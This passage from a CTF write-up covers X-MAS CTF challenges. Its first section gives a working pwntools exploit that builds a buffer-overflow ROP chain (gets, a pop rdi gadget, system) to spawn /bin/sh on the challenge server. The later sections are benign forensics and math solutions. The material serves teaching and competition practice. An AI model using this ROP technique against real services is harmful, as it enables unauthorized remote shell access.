This is probably because mprotect requires an address that is page-aligned (a multiple of 0x1000). Since it failed, we can figure that the .bss section is still writeable, which we'll be able to use to our advantage.

It's always helpful to look at what's in the registers right before the return in a buffer overflow exploit to see what we can use in them:


In this case, we've got the address of that weird global variable in the RDI register. Since the mprotect from earlier failed, we can actually use this as a writeable region of memory. In this challenge, the stack isn't executable, so we'll need to create a ROP chain.

There's one more tool that we can find if we look at the binary functions:

void FUN_00400767(char *param_1) { system(param_1); return; }

This just calls system for us, removing the requirement for us to leak some kind of address! Now we can lay the flow for our ROP chain:
We want to execute system("/bin/sh"), which will require the address of a "/bin/sh" string. We can create this string ourself by calling gets and writing into the global variable in .bss, and then taking that address and passing it through RDI (the first argument register) when calling system.
This will require a ROP gadget that can write into the RDI register, the easiest one being pop rdi; ret. Using ropper to search for it, we can see that the binary does contain one such gadget:

With this information, we can now create an exploit script to deploy our ROP chain payload:

from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] path = "./chall" e = ELF(path) offset = 72 system = 0x400767 # weird function that just passes argument to system call mprotect = e.symbols['mprotect'] gets = e.symbols['gets'] pop_rdi = asm('pop rdi; ret') pop_rdi = next(e.search(pop_rdi)) payload = b'\x00' * offset # use null byte to bypass the "cat" and "sh" check even though its unneccesary payload += p64(gets) # passing in 0x601099 as argument since that is already in rdi payload += p64(pop_rdi) payload += p64(0x601099) # /bin/sh address after gets payload += p64(system) #p = gdb.debug(path, ''' # b *0x400875 # b *0x400767 # c #''') p = remote('challs.xmas.htsp.ro', 2001) p.sendline(payload) p.sendline(b"/bin/sh") p.interactive()

Notice how we take advantage of the 0x601099 address that's already in RDI by the time our execution reaches the first gets in the ROP chain. This allows us to avoid a redundant pop rdi gadget.
Although I didn't experience it in this problem, it's also very easy for stack alignment to become an issue when calling certain functions in a 64 bit binary. In summary, the system requires addresses of variables on the stack to be multiples of 128 bits (16 bytes) because of how floating point operations work in memory. If certain instructions receive addresses that do not have this alignment, a segmentation fault will occur. If this occurs in a ROP payload, it can be easily fixed by adding a useless ret gadget that just immediately moves on to the next part of the chain.

Running the script obtains a shell on the server, and allows us to print the flag:

FLAG: X-MAS{l00ks_lik3_y0u_4re_r3ady}

Conversation

Forensics

The challenge gives you a pcapng file, which you can use Wireshark to open. Scrolling through the packets, I noticed that the two people in the problem having their conversation in plaintext. Eventually, I stumble upon what looks like the payload, in base64. However, when base64 decoding, it returns gibberish. Reading further into the conversation, it states that the payload is in rot13 as well. After a rot13 and a base64 decode, we get the flag: X-MAS{Anna_from_marketing_has_a_new_boyfriend-da817c7129916751}

Leastest Greatest

Programming

The challenge gives you a gcd(a,b) and an lcm(a,b) and asks you to find number of possible pairs (a,b).
The number of all possible pairs is given by

2prime_factors(lcmgcd). Make a program to do it automatically:

def totalPrimeFactors(n): count = 0 if ((n % 2) == 0): count += 1 while ((n % 2) == 0): n //= 2 i = 3 while (i * i <= n): if ((n % i) == 0): count += 1 while ((n % i) == 0): n //= i i += 2 if (n > 2): count += 1 return count def countPairs(G, L): if (L % G != 0): return 0 div = int(L // G) return 2**(totalPrimeFactors(div)) from pwn import remote if __name__ == "__main__": io = remote("challs.xmas.htsp.ro", 6050) io.recvuntil("Also, i have to answer 100 such questions in at most 90 seconds.\n") for i in range(100): chall = io.recv().decode() print(chall) lcm = int(chall.split("\n")[3].split("= ")[-1]) gcd = int(chall.split("\n")[2].split("= ")[-1]) print(lcm, gcd) x = countPairs(gcd, lcm) print(x) io.sendline(str(x)) print(io.recv())

Flag: X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d}

Many Paths

Programming

The challenge gives you an adjacency matrix and asks you to find number of paths of length L between the first and last nodes that don't pass through the forbidden nodes. Since we don't want paths that pass through the forbidden nodes, we can just zero all connections to those nodes in the adjacency matrix. We can find the number of paths between two nodes by raising the adjacency matrix to the Lth power. Reuse that input program to get the flag: X-MAS{n0b0dy_3xp3c73d_th3_m47r1x_3xp0n3n71a7i0n}